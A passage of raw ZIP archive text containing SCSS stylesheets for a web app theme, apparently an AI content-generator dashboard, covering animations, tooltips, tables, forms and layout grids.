0; } } ::view-transition-old(lqd-generators-container) { animation: lqd-generators-container-scale-down 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } ::view-transition-new(lqd-generators-container) { animation: lqd-generators-container-slide-in 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } .lqd-generators-container { view-transition-name: lqd-generators-container; }PK˜W]½ãgÈ©©/default/scss/components/_ai-tools-dropdown.scssnu„[µü¤.ai-tools-dropdown { --navbar-link-pt: theme('size.3'); --navbar-link-pb: theme('size.3'); --navbar-icon-size: 1.5rem; .ai-tools-list { .lqd-navbar-link { flex-direction: column; height: 100%; align-items: center; text-align: center; justify-content: space-between; &.active { @apply dark:bg-navbar-background-active/5 dark:before:content-none; } } .lqd-nav-link-label { background-color: transparent; box-shadow: none; opacity: 1; visibility: visible; position: relative; inset: auto; transform: none; white-space: normal; width: auto; } } .lqd-dropdown-dropdown-content { @apply min-w-80 max-h-[450px]; } }PK˜W]™rÝâ°°#default/scss/components/_table.scssnu„[µü¤td, th { @apply transition-colors py-3 px-4; } th { text-align: start; } tr { @apply transition-colors; &:last-child { td { border-bottom: none; } } } .table-vcenter { > :not(caption)>*>* { padding: 1.1rem; } } .table { thead { th { padding-top: 1.75em; padding-bottom: 1.05em; border-color: var(--tblr-border-color); background: none; font-weight: var(--tblr-font-weight-medium); } } }PK˜W]$default/scss/components/_folder.scssnu„[µü¤PK˜W]�Öæ‘‘#default/scss/components/_audio.scssnu„[µü¤.data-audio { gap: 9px; width: 127px; height: 35px; padding: 0 10px; border-radius: 20px; box-shadow: 0 1px 4px rgb(0 0 0 / 15%); font-size: 11px; background-color: #fff; > wave { width: 100% !important; // height: 22px !important; // wave, // canvas { // max-width: 100%; // } } button { display: inline-flex; width: 18px; height: 18px; padding: 0; border-radius: 10px; order: -1; flex-shrink: 0; align-items: center; justify-content: center; background: none; border: 1px solid; color: hsl(var(--primary)); transition: all 0.3s; svg { &:nth-child(2) { display: none; } } &.is-playing { background-color: hsl(var(--primary)); color: #fff; svg { &:first-child { display: none; } &:nth-child(2) { display: block; } } } } } .theme-dark { .data-audio { background-color: rgb(255 255 255 / 5%); } }PK˜W]BÙVAA*default/scss/components/_shape-cutout.scssnu„[µü¤.lqd-cutout-1 { --roundness: min(calc(var(--shape-h) / 2), var(--shape-roundness)); .lqd-cutout-mask-g, .lqd-cutout-mask-rect-fill, .lqd-cutout-mask-extended-corner-mask-bs, .lqd-cutout-mask-extended-corner-mask-be, .lqd-cutout-mask-circle { transform-origin: top right; transform-box: fill-box; } .lqd-cutout-mask-extended-corner-mask-bs, .lqd-cutout-mask-extended-corner-mask-be, .lqd-cutout-mask-circle, .lqd-cutout-mask-g-wrap { transform-origin: center; } .lqd-cutout-mask-g { transform: skewX(var(--shape-skew)); } .lqd-cutout-mask-rect { height: calc(var(--shape-h) + var(--roundness)); y: calc(100% - var(--shape-h) - var(--shape-y) + 1px); } .lqd-cutout-mask-rect-1 { width: var(--shape-w); x: calc(100% - var(--shape-w) - var(--shape-x)); rx: var(--roundness); } .lqd-cutout-mask-rect-fill { width: calc(var(--shape-w) / 2); x: calc(100% - (var(--shape-w) / 2.5) - var(--shape-x)); transform: skewX(calc(var(--shape-skew) * -1)); } .lqd-cutout-mask-circle { r: var(--roundness); } .lqd-cutout-mask-circle-bs { cx: calc(100% - var(--shape-w) - var(--shape-x)); cy: calc(100% - var(--shape-y)); } .lqd-cutout-mask-circle-be { cx: calc(100% - var(--shape-x)); cy: calc(100% - var(--shape-y)); } .lqd-cutout-mask-circle-bs-mask-clip { cx: calc(100% - var(--shape-w) - var(--roundness) - var(--shape-x)); cy: calc(100% - var(--roundness) - var(--shape-y)); } .lqd-cutout-mask-circle-be-mask-clip { cx: calc(100% + var(--roundness) - var(--shape-x)); cy: calc(100% - var(--roundness) - var(--shape-y)); } .lqd-cutout-mask-circle-te { cx: calc(100% - var(--shape-x)); cy: calc(100% - var(--shape-h) - var(--shape-y)); } .lqd-cutout-mask-circle-te-mask-clip { cx: calc(100% - var(--roundness) - var(--shape-x)); cy: calc(100% - var(--shape-h) - var(--roundness) - var(--shape-y) + 1px); } .lqd-cutout-mask-extended-corner { r: var(--extended-corner-r); cx: calc(100% - var(--shape-x) + (var(--extended-corner-r) / 4)); cy: calc(100% - var(--shape-h) - var(--shape-y) - (var(--extended-corner-r) / 4)); } .lqd-cutout-mask-extended-corner-mask-bs { r: calc(var(--extended-corner-r) / 2); cx: calc(100% - var(--shape-x) - (var(--extended-corner-r))); cy: calc(100% - var(--shape-h) - var(--shape-y)); } .lqd-cutout-mask-extended-corner-bs-mask-clip { r: calc(var(--extended-corner-r) / 1.5); cx: calc(100% - var(--shape-x) - (var(--extended-corner-r)) - (var(--extended-corner-r) / 4) - (var(--extended-corner-r) * 0.125)); cy: calc(100% - var(--shape-h) - var(--shape-y) - (var(--extended-corner-r) / 2) - (var(--extended-corner-r) * 0.125)); } .lqd-cutout-mask-extended-corner-mask-be { r: calc(var(--extended-corner-r) / 1.5); cx: calc(100% - var(--shape-x) + (var(--extended-corner-r) / 4)); cy: calc(100% - var(--shape-h) - var(--shape-y) + var(--extended-corner-r)); transform: rotate(-4deg); } .lqd-cutout-mask-extended-corner-be-mask-clip { r: var(--extended-corner-r); cx: calc(100% - var(--shape-x) + var(--extended-corner-r) - (var(--extended-corner-r) * 0.04)); cy: calc(100% - var(--shape-h) - var(--shape-y) + var(--extended-corner-r) + (var(--extended-corner-r) / 1.5) - (var(--extended-corner-r) * 0.0385)); } &.lqd-cutout-tl { .lqd-cutout-mask-g-wrap { transform: scale(-1); } } &.lqd-cutout-tr { .lqd-cutout-mask-g-wrap { transform: scaleY(-1); } } &.lqd-cutout-bl { .lqd-cutout-mask-g-wrap { transform: scaleX(-1); } } } .lqd-cutout-2 { --border-w: 1px; --border-radius: 16px; --roundness: max(var(--border-w), var(--border-radius)); border-color: hsl(var(--border)); top: calc(var(--border-w) * -1); bottom: 0; inset-inline-start: calc(var(--roundness) * -1); inset-inline-end: calc(var(--border-w) * -1); } .lqd-cutout-2 .lqd-cutout-2-border-ts { position: absolute; top: 0; inset-inline-start: 0; bottom: var(--roundness); width: var(--roundness); border-top: var(--border-w) solid; border-inline-end: var(--border-w) solid; border-color: inherit; border-radius: 0 var(--roundness) 0 0; .lqd-card & { &:before { content: ''; position: absolute; top: 0; bottom: calc(var(--roundness) * -1); width: var(--roundness); inset-inline-start: calc(var(--border-w) * -1); background: hsl(var(--card-background)); border-start-end-radius: calc(var(--border-radius) - var(--border-w)); @apply transition-colors; } } } .lqd-cutout-2 .lqd-cutout-2-border-bs { position: absolute; bottom: 0; top: calc(100% - var(--roundness)); inset-inline-start: calc(var(--roundness) - var(--border-w)); inset-inline-end: var(--roundness); border-radius: 0 0 0 var(--roundness); border-bottom: var(--border-w) solid; border-inline-start: var(--border-w) solid; border-color: inherit; background-color: hsl(var(--background)); @apply transition-colors; .lqd-card & { &:before { content: ''; position: absolute; top: 0; bottom: calc(var(--border-w) * -1); width: var(--roundness); inset-inline-start: calc(var(--border-w) * -1); background: hsl(var(--card-background)); border-start-end-radius: calc(var(--border-radius) - var(--border-w)); z-index: -1; @apply transition-colors; } } } .lqd-cutout-2 .lqd-cutout-2-border-be { width: var(--border-w); position: absolute; top: 100%; inset-inline-end: 0; bottom: calc(var(--roundness) * -1); background: hsl(var(--background)); border-color: inherit; } .lqd-cutout-2 .lqd-cutout-2-border-be:after { content: ''; position: absolute; top: calc(var(--border-w) * -1); bottom: 0; width: var(--roundness); inset-inline-end: 0; border-top: var(--border-w) solid; border-inline-end: var(--border-w) solid; border-color: inherit; border-radius: 0 var(--roundness) 0 0; } .lqd-cutout-2[data-pos=ts] { transform: scaleX(-1); inset-inline-start: calc(var(--border-w) * -1); inset-inline-end: calc(var(--roundness) * -1); }PK˜W]áùBø””$default/scss/components/_avatar.scssnu„[µü¤.avatar { --tblr-border-radius: var(--tblr-avatar-size); --tblr-avatar-shadow: var(--lqd-shadow-xs); svg { width: unset; height: unset; } }PK˜W]aÉJhh%default/scss/components/_introjs.scssnu„[µü¤.introjs-arrow { border-width: 7px; &.top { @apply border-b-background; top: -14px; left: 14px; } &.right { @apply border-l-background; top: 14px; right: -14px; } &.bottom { @apply border-t-background; bottom: -14px; left: 14px; } &.left { @apply border-r-background; top: 14px; left: -14px; } } .introjsFloatingElement { @apply fixed; } .shepherd-cancel-icon, .introjs-skipbutton { @apply absolute left-auto right-auto -end-3 -top-3 ms-auto inline-flex size-8 items-center justify-center rounded-full bg-background bg-center bg-no-repeat text-2xl font-normal leading-none text-heading-foreground shadow-lg transition-all hover:scale-105 hover:bg-red-500 hover:text-white; background-image: url('data:image/svg+xml;base64,PHN2ZwogIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICB3aWR0aD0iMjQiCiAgaGVpZ2h0PSIyNCIKICB2aWV3Qm94PSIwIDAgMjQgMjQiCiAgZmlsbD0ibm9uZSIKICBzdHJva2U9IiMwMDAwMDAiCiAgc3Ryb2tlLXdpZHRoPSIyIgogIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIKICBzdHJva2UtbGluZWpvaW49InJvdW5kIgo+CiAgPHBhdGggZD0iTTE4IDZsLTEyIDEyIiAvPgogIDxwYXRoIGQ9Ik02IDZsMTIgMTIiIC8+Cjwvc3ZnPg=='); background-size: 18px; &:hover { background-image: url('data:image/svg+xml;base64,PHN2ZwogIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICB3aWR0aD0iMjQiCiAgaGVpZ2h0PSIyNCIKICB2aWV3Qm94PSIwIDAgMjQgMjQiCiAgZmlsbD0ibm9uZSIKICBzdHJva2U9IiNmZmZmZmYiCiAgc3Ryb2tlLXdpZHRoPSIyIgogIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIKICBzdHJva2UtbGluZWpvaW49InJvdW5kIgo+CiAgPHBhdGggZD0iTTE4IDZsLTEyIDEyIiAvPgogIDxwYXRoIGQ9Ik02IDZsMTIgMTIiIC8+Cjwvc3ZnPg=='); } span { @apply hidden; } } .shepherd-button, .introjs-button { @apply bg-primary text-primary-foreground transition-colors border-none font-medium rounded-full m-0; text-shadow: none; &:not(:disabled) { @apply hover:bg-primary/80 hover:text-primary-foreground focus:bg-primary focus:text-primary-foreground focus:border-none focus:ring focus:ring-primary/20; } } .introjs-disabled { @apply bg-heading-foreground text-header-background; } .shepherd-btn-back, .introjs-prevbutton { @apply bg-transparent underline text-heading-foreground ms-auto p-0; &:not(:disabled) { @apply hover:bg-transparent hover:text-primary focus:ring-0 focus:bg-transparent focus:text-primary; } &.introjs-hidden { ~ .introjs-nextbutton { @apply ms-auto } } } .introjs-disabled { @apply pointer-events-none opacity-40; } .shepherd-footer, .introjs-tooltipbuttons { @apply flex items-center gap-4 p-0 mt-4 border-none after:content-none; } .introjs-tooltip-header { @apply flex gap-1 justify-between p-0 min-h-0 static; h1 { @apply text-xl/[1.1em] font-bold mb-3 empty:hidden min-h-0; } &:has(h1:empty) { @apply mb-3; } } .shepherd-text, .introjs-tooltiptext { @apply p-0 text-base/[1.5em]; overflow-wrap: anywhere; img { @apply mb-7 rounded-md w-full h-auto; } h1, h3 { @apply text-xl/[1.1em] font-bold mb-3; } } .shepherd-element, .introjs-tooltip { @apply bg-background text-foreground shadow-[0_4px_42px_hsl(var(--background)/40%)] rounded-lg min-w-[420px] border-none p-5 before:-inset-0 before:absolute before:z-0 before:pointer-events-none; &:before { background-image: url(@themeAssets/default/assets/img/bg/blob-1.png); background-size: 410px; background-position: -5% calc(100% + 60px); background-repeat: no-repeat; } &:has(.introjs-tooltiptext img, .introjs-tooltiptext h1) .introjs-tooltip-header { @apply mb-0; } } .shepherd-arrow { @apply size-3.5 before:size-3.5; } .shepherd-element { @apply transition-all ease-linear; &[data-popper-placement^=bottom] { @apply before:-top-1.5; .shepherd-arrow { @apply -top-1.5 before:rounded-tl-[3px]; } } &[data-popper-placement^=top] { .shepherd-arrow { @apply -bottom-1.5 before:rounded-br-[3px]; } } &[data-popper-placement^=right] { .shepherd-arrow { @apply -left-1.5 before:rounded-bl-[3px]; } } &[data-popper-placement^=left] { .shepherd-arrow { @apply -right-1.5 before:rounded-tr-[3px]; } } } .introjs-tooltipReferenceLayer { * { font-family: inherit; } } .shepherd-header { @apply p-0; } .theme-dark { .introjs-helperLayer { box-shadow: rgba(255, 255, 255, 0.8) 0px 0px 1px 2px, rgba(0, 0, 0, 0.5) 0px 0px 0px 50000px !important; } .shepherd-cancel-icon, .introjs-skipbutton { background-image: url('data:image/svg+xml;base64,PHN2ZwogIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICB3aWR0aD0iMjQiCiAgaGVpZ2h0PSIyNCIKICB2aWV3Qm94PSIwIDAgMjQgMjQiCiAgZmlsbD0ibm9uZSIKICBzdHJva2U9IiNmZmZmZmYiCiAgc3Ryb2tlLXdpZHRoPSIyIgogIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIKICBzdHJva2UtbGluZWpvaW49InJvdW5kIgo+CiAgPHBhdGggZD0iTTE4IDZsLTEyIDEyIiAvPgogIDxwYXRoIGQ9Ik02IDZsMTIgMTIiIC8+Cjwvc3ZnPg=='); } } PK˜W]ƒTqYY$default/scss/components/_wizard.scssnu„[µü¤.lqd-article-wizard-meta-area { #next_btn { svg { @apply rtl:rotate-180; } } }PK˜W]~8%ÈÈ$default/scss/components/_typing.scssnu„[µü¤.tox-edit-area { .lqd-typing { position: absolute !important; z-index: 90; top: 1em !important; left: 1em !important; bottom: auto !important; right: auto !important; background: hsl(var(--secondary)) !important; color: hsl(var(--secondary-foreground)) !important; font-size: 12px !important; &.lqd-is-hidden { display: none !important; } } } .lqd-typing-dot { animation: typingAnimation 0.5s infinite alternate backwards cubic-bezier(.9, 0, .95, .84); } .lqd-tinymce-toolbar-fixed { .tox-edit-area { .lqd-typing { z-index: 20; } } } @keyframes typingAnimation { 0% { transform: translateY(0) scaleY(1); } 100% { transform: translateY(-120%) scaleY(0.75); } }PK˜W]ïÙŽ??%default/scss/components/_popover.scssnu„[µü¤.popover__title { font-size: 24px; line-height: 36px; text-decoration: none; color: rgb(228, 68, 68); text-align: center; padding: 15px 0; } .popover__wrapper { position: relative; margin-top: 1.5rem; display: inline-block; } .popover__back { position: fixed; width: 100vw; height: 100vh; background-color: rgba(0, 0, 0, 0.26); z-index: 51; left: 0; top: 0; } .popover__content { opacity: 0; visibility: hidden; position: absolute; left: calc(-250px); transform: translate(0, 15px); background-color: var(--tblr-bg-surface); padding: 10px; box-shadow: 0px 2px 5px 2px rgba(0, 0, 0, 0.26); border-radius: 10px; min-width: 250px; } .popover__content:before { position: absolute; z-index: -1; content: ""; right: calc(10% - 10px); top: -8px; border-style: solid; border-width: 0 10px 10px 10px; border-color: transparent transparent var(--tblr-bg-surface) transparent; transition-duration: 0.3s; transition-property: transform; } .popover__wrapper .popover__content { opacity: 1; visibility: visible; transform: translate(0px, 10px); transition: all 0.5s cubic-bezier(0.75, -0.02, 0.2, 0.97); z-index: 52; } .popover__message { text-align: left; padding-left: 10px; }PK˜W] P¢³RR*default/scss/components/_info-tooltip.scssnu„[µü¤.lqd-price-table-info { .lqd-tooltip-content { @apply min-w-48 max-h-40; } } PK˜W]ï§¹ûû-default/scss/components/_image-generator.scssnu„[µü¤@keyframes lqd-image-generator-slide-in { from { transform: translateY(30px); opacity: 0; } } @keyframes lqd-image-generator-scale-down { to { transform: scale(0.985); opacity: 0; } } ::view-transition-old(lqd-image-generator) { animation: lqd-image-generator-scale-down 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } ::view-transition-new(lqd-image-generator) { animation: lqd-image-generator-slide-in 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } .lqd-image-generator-tabs-nav { view-transition-name: lqd-image-generator-tabs-nav; } .lqd-image-generator-stablediffusion, .lqd-image-generator-dalle { view-transition-name: lqd-image-generator; } .lqd-image-generator-random-prompt { view-transition-name: lqd-image-generator-random-prompt; } PK˜W]u**(default/scss/components/_pagination.scssnu„[µü¤.page-link { --tblr-border-radius: 2em; }PK˜W],default/scss/components/_generator-item.scssnu„[µü¤PK˜W]HÕÌ1default/scss/components/_documents-container.scssnu„[µü¤@keyframes lqd-posts-container-slide-in { from { transform: translateY(30px); opacity: 0; } } @keyframes lqd-posts-container-scale-down { to { transform: scale(0.985); opacity: 0; } } ::view-transition-old(lqd-posts-container) { animation: lqd-posts-container-scale-down 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } ::view-transition-new(lqd-posts-container) { animation: lqd-posts-container-slide-in 0.3s cubic-bezier(0.23, 1, 0.320, 1) both; } .lqd-posts-container { view-transition-name: lqd-posts-container; }PK˜W]¤åºÇÇ+default/scss/components/_document-item.scssnu„[µü¤.lqd-posts-item { grid-template-areas: 'content type date cost actions'; grid-template-columns: 3fr repeat(2, minmax(0, 1fr)) 100px 1fr; .lqd-posts-item-content { grid-area: content; } .lqd-posts-item-type { grid-area: type; } .lqd-posts-item-date { grid-area: date; } .lqd-posts-item-actions { grid-area: actions; } [data-view-mode=grid] & { grid-template-areas: 'type .' 'content content' 'date actions'; grid-template-columns: unset; padding: 1.125rem 0.9375rem; box-shadow: 0 2px 5px rgb(0 0 0 / 7%); border-width: 0; border-radius: var(--card-rounded); .lqd-posts-item-content-inner { mask-image: linear-gradient(to top, transparent 10%, black 80%); } .lqd-posts-item-icon, .lqd-posts-item-cost { display: none; } &[data-type=image] { grid-template-areas: 'content content' 'date actions'; .lqd-posts-item-type { display: none; } .lqd-posts-item-content { height: 100%; padding-top: 0; } .lqd-posts-item-content-inner { height: auto; mask-image: none; } } &:hover { background-color: transparent; transform: translateY(-3px); box-shadow: 0 5px 15px rgb(0 0 0 / 5%); } } } .lqd-social-media-post-item { grid-template-areas: 'content type date likes cost actions'; grid-template-columns: 3fr repeat(3, minmax(0, 1fr)) 100px 1fr; } .theme-dark { [data-view-mode=grid] { .lqd-posts-item { box-shadow: 0 5px 10px rgb(255 255 255 / 3%); } } } @media (min-width: 992px) and (max-width: 1199px) { [data-view-mode=list] { .lqd-posts-head, .lqd-posts-item { grid-template-columns: 2fr repeat(2, minmax(0, 1fr)) 100px 1fr; } } .lqd-social-media-post-item { grid-template-columns: 3fr repeat(3, minmax(0, 1fr)) 100px 1fr !important; } } @media (max-width: 991px) { [data-view-mode=list] { .lqd-posts-head, .lqd-posts-item { grid-template-columns: 2fr repeat(2, minmax(0, 1fr)) 100px 1fr; min-width: 990px; } } } PK˜W]˜&qÿÿ(default/scss/components/_components.scssnu„[µü¤@import './button'; @import './card'; @import './avatar'; @import './table'; @import './pagination'; @import './badge'; @import './tab'; @import './popover'; @import './custom'; @import './modal_popover'; @import './form'; @import './apex-chart'; @import './tinymce'; @import './floating-menu'; @import './documents-container'; @import './document-item'; @import './generators'; @import './generators-container'; @import './generator-item'; @import './image-generator'; @import './progress-bar'; @import './toastr'; @import './skeleton'; @import './typing'; @import './audio'; @import './folder'; @import './chats'; @import './chats-v2'; @import './favorite-button'; @import './marketplace'; @import './filter-list'; @import './wizard'; @import './outline-glow'; @import './introjs'; @import './ai-tools-dropdown'; @import './info-tooltip'; @import './header-search'; @import './numer-counter'; @import './shape-cutout'; @import './curtain'; @import './split-text'; @import './fullcalendar'; @import './progressive-blur'; PK˜W]ÍÍ»»*default/scss/components/_outline-glow.scssnu„[µü¤@keyframes outline-glow-1 { 0% { transform: translate(-50%, -50%) rotate(0deg); } 100% { transform: translate(-50%, -50%) rotate(360deg); } } @keyframes outline-glow-2 { 0% { transform: translate(-88%, -50%) rotate(0deg); } 33% { transform: translate(-12%, -50%) rotate(0deg); } 50% { transform: translate(-12%, -50%) rotate(180deg); } 83% { transform: translate(-88%, -50%) rotate(180deg); } 100% { transform: translate(-88%, -50%) rotate(360deg); } } @keyframes outline-glow-3 { 0% { transform: translate(-50%, -50%) rotate(0); } 10% { opacity: 1; } 90% { opacity: 1; } 100% { transform: translate(-50%, -50%) rotate(calc(360deg * var(--outline-glow-iteration, 3))); opacity: 0; } } .lqd-outline-glow { --glow-color-primary: var(--primary, 0 0% 100%); inset: calc(var(--outline-glow-w, 1px) * -1); padding: var(--outline-glow-w, 1px); background: transparent; -webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); -webkit-mask-composite: xor; mask-composite: exclude; } .lqd-outline-glow-effect-1 { .lqd-outline-glow-inner { background: conic-gradient(from 290deg, hsl(var(--glow-color-secondary, 0 0% 100% / 0%)) 0%, hsl(var(--glow-color-primary)) 10%, hsl(var(--glow-color-secondary, 0 0% 100% / 0%)) 20%); animation: outline-glow-1 var(--outline-glow-duration, 3s) linear var(--outline-glow-iteration, infinite); } } .lqd-outline-glow-effect-2 { .lqd-outline-glow-inner { background: conic-gradient(from 290deg at 50%, hsl(var(--glow-color-secondary, 0 0% 100% / 0%)) 0%, hsl(var(--glow-color-primary)) 20%, hsl(var(--glow-color-secondary, 0 0% 100% / 0%)) 25%); animation: outline-glow-2 var(--outline-glow-duration, 3s) linear var(--outline-glow-iteration, infinite); } } // designed to disappear after a few iterations .lqd-outline-glow-effect-3 { .lqd-outline-glow-inner { background: conic-gradient(from 0deg, transparent 0%, hsl(var(--glow-color-primary)) 10%, hsl(var(--glow-color-secondary)) 20%, transparent 30%); animation: outline-glow-3 calc(var(--outline-glow-duration, 3s) * var(--outline-glow-iteration, 3)) linear; } } PK˜W]›�Œ� � .default/scss/components/_progressive-blur.scssnu„[µü¤// Credits: https: //kennethnym.com/blog/progressive-blur-in-css/ .lqd-progressive-blur-filter { &:nth-child(1) { backdrop-filter: blur(calc(var(--base-val, 1) * 1px)); mask: linear-gradient(rgba(0, 0, 0, 0), rgba(0, 0, 0, 1) 10%, rgba(0, 0, 0, 1) 30%, rgba(0, 0, 0, 0) 40%); } &:nth-child(2) { backdrop-filter: blur(calc(var(--base-val, 1) * 2px)); mask: linear-gradient(rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 1) 20%, rgba(0, 0, 0, 1) 40%, rgba(0, 0, 0, 0) 50%); } &:nth-child(3) { backdrop-filter: blur(calc(var(--base-val, 1) * 4px)); mask: linear-gradient(rgba(0, 0, 0, 0) 15%, rgba(0, 0, 0, 1) 30%, rgba(0, 0, 0, 1) 50%, rgba(0, 0, 0, 0) 60%); } &:nth-child(4) { backdrop-filter: blur(calc(var(--base-val, 1) * 8px)); mask: linear-gradient(rgba(0, 0, 0, 0) 20%, rgba(0, 0, 0, 1) 40%, rgba(0, 0, 0, 1) 60%, rgba(0, 0, 0, 0) 70%); } &:nth-child(5) { backdrop-filter: blur(calc(var(--base-val, 1) * 16px)); mask: linear-gradient(rgba(0, 0, 0, 0) 40%, rgba(0, 0, 0, 1) 60%, rgba(0, 0, 0, 1) 80%, rgba(0, 0, 0, 0) 90%); } &:nth-child(6) { backdrop-filter: blur(calc(var(--base-val, 1) * 32px)); mask: linear-gradient(rgba(0, 0, 0, 0) 60%, rgba(0, 0, 0, 1) 80%); } &:nth-child(7) { backdrop-filter: blur(calc(var(--base-val, 1) * 64px)); mask: linear-gradient(rgba(0, 0, 0, 0) 70%, rgba(0, 0, 0, 1) 100%); } &.reverse { // Reverse version - top to bottom blur &:nth-child(1) { backdrop-filter: blur(calc(var(--base-val, 1) * 64px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 0) 30%); } &:nth-child(2) { backdrop-filter: blur(calc(var(--base-val, 1) * 32px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 20%, rgba(0, 0, 0, 0) 40%); } &:nth-child(3) { backdrop-filter: blur(calc(var(--base-val, 1) * 16px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 10%, rgba(0, 0, 0, 0) 40%); } &:nth-child(4) { backdrop-filter: blur(calc(var(--base-val, 1) * 8px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 20%, rgba(0, 0, 0, 0) 50%); } &:nth-child(5) { backdrop-filter: blur(calc(var(--base-val, 1) * 4px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 30%, rgba(0, 0, 0, 0) 60%); } &:nth-child(6) { backdrop-filter: blur(calc(var(--base-val, 1) * 2px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 40%, rgba(0, 0, 0, 0) 70%); } &:nth-child(7) { backdrop-filter: blur(calc(var(--base-val, 1) * 1px)); mask: linear-gradient(rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 1) 60%, rgba(0, 0, 0, 0) 90%); } } } .lqd-progressive-blur-gradient { // background: linear-gradient(transparent, hsl(var(--background)/50%)); } PK˜W]¤wòsƒƒ"default/scss/components/_form.scssnu„[µü¤@layer base { .lqd-input { border-radius: calc(var(--input-rounded) * var(--input-rounded-multiplier, 1)); } } @keyframes submit { 0% { opacity: 0; transform: scale(0); } 50% { opacity: 1; } 100% { opacity: 0; transform: scale(1); } } select { appearance: none; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3e%3cpath stroke='%236b7280' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3e%3c/svg%3e"); background-position: right 0.5rem center; background-repeat: no-repeat; background-size: 1.5em 1.5em; padding-right: 2.5rem; -webkit-print-color-adjust: exact; print-color-adjust: exact; &[multiple] { background: none; } } option { color: hsl(var(--heading-foreground)); } .lqd-input-switcher { background-image: var(--switcher-ball); &:checked { background-image: var(--switcher-ball-active); } &.lqd-input-sm { background-size: 0.75rem; } } button { &.submitting { position: relative; overflow: hidden; text-indent: -99999px; &:before { content: ''; display: inline-block; width: 24px; height: 24px; position: absolute; top: calc(50% - 12px); left: calc(50% - 12px); border: 2px solid; border-radius: 100%; animation: submit 1.2s cubic-bezier(0.25, 0.46, 0.45, 0.94) infinite; } svg { display: none; } } } input::file-selector-button { background-color: hsl(var(--foreground) / 0.1); color: hsl(var(--foreground)); border: none; border-radius: 3px; padding: theme('size.1') theme('size.3'); margin-inline-end: theme('size.2'); } .ts-control, .ts-control input, .ts-dropdown { @apply text-foreground sm:text-sm; } .lqd-input { &.ts-wrapper { &.multi { &.has-items { .ts-control { @apply flex flex-wrap gap-0.5 items-center p-0 overflow-auto; >div { @apply bg-foreground/10 text-foreground rounded-full m-0 px-1.5 py-0.5; } } } } &.plugin-remove_button { .item { .remove { border-color: hsl(var(--foreground) / 15%) !important; border-start-end-radius: 10px; border-end-end-radius: 10px; } } } .ts-dropdown { @apply bg-background border-border shadow-lg shadow-black/5 rounded-input; .active { @apply bg-primary/10 text-primary first:rounded-t-input last:rounded-b-input; } } } .ts-control { @apply p-0 h-full border-none bg-transparent; } } .lqd-input-checkbox-custom-wrap { input:checked~& { background-image: url("data:image/svg+xml,%3Csvg%20width%3D%229%22%20height%3D%227%22%20viewBox%3D%220%200%209%207%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M2.55664%205.30859L7.43359%200.431641L8.05664%201.07617L2.55664%206.57617L0%204.01953L0.644531%203.375L2.55664%205.30859Z%22%20fill%3D%22%237A63DF%22%2F%3E%3C%2Fsvg%3E"); background-size: 60%; } } .form-check-input[type='checkbox'] { border-radius: 4px; } .form-selectgroup-input:checked+.form-selectgroup-label { color: #000; border-radius: 30px; background: hsl(var(--primary) / 10%); } .form-selectgroup-label { color: #000; background-color: transparent; } .form-select, .form-control, .input-group-text { padding: 1em 1.23em; } .form-select, .form-control, .input-group-text, .form-label { --tblr-border-color: hsl(var(--border)); font-size: 0.8125rem; font-weight: 500; } .col-form-label, .form-label { color: var(--label); } .form-label { display: flex; gap: 0.25rem; align-items: center; flex-wrap: wrap; margin-bottom: 0.6rem; .lqd-tooltip-container { @apply ms-1 align-middle; } } .input-group-text { display: flex; align-items: center; height: 100%; position: absolute; top: 0; inset-inline-end: 0; border: none; .input-group-flat & { background: none; } } .form-control { .input-group-flat & { &:not(:last-child) { border-right: var(--tblr-border-width) solid hsl(var(--border)); } } } .form-control-sm { padding: 0.125rem 0.25rem; } .form-check { cursor: pointer; } .input-group { > :not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback), &:not(.has-validation)> :not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating) { border-radius: var(--tblr-border-radius); } } .workbook-form { input { border: none !important; } input { padding: 0; font-family: 'Lora', 'serif'; font-size: 21px; background-color: transparent !important; color: hsl(var(--heading-foreground)); &::placeholder { color: hsl(var(--heading-foreground)); } &:focus { outline: none; box-shadow: none; } } } .select2-container--default { .select2-selection--multiple { display: flex; align-items: center; flex-wrap: wrap; background: none; overflow: auto; .select2-selection__rendered { display: flex; flex-wrap: wrap; align-items: center; gap: 0.5rem; margin: 0; } .select2-selection__choice { padding: 2px 10px; margin: 0; border: none; border-radius: 5em; background-color: hsl(var(--foreground) / 7%); color: hsl(var(--foreground)); button { border: none; padding-inline-start: 0; position: relative; } .select2-selection__choice__display { padding: 0; } } } } .select2-container { .select2-search--inline { .select2-search__field { margin-top: 0; } } } .form-switch { display: flex; align-items: center; padding-left: 0; font-weight: 500; .form-check-input { flex-shrink: 0; width: 3rem; height: 1.5rem; border-radius: 1.5rem; margin-left: 0; background-size: 1.3rem; &:checked { background-color: #191919; } } 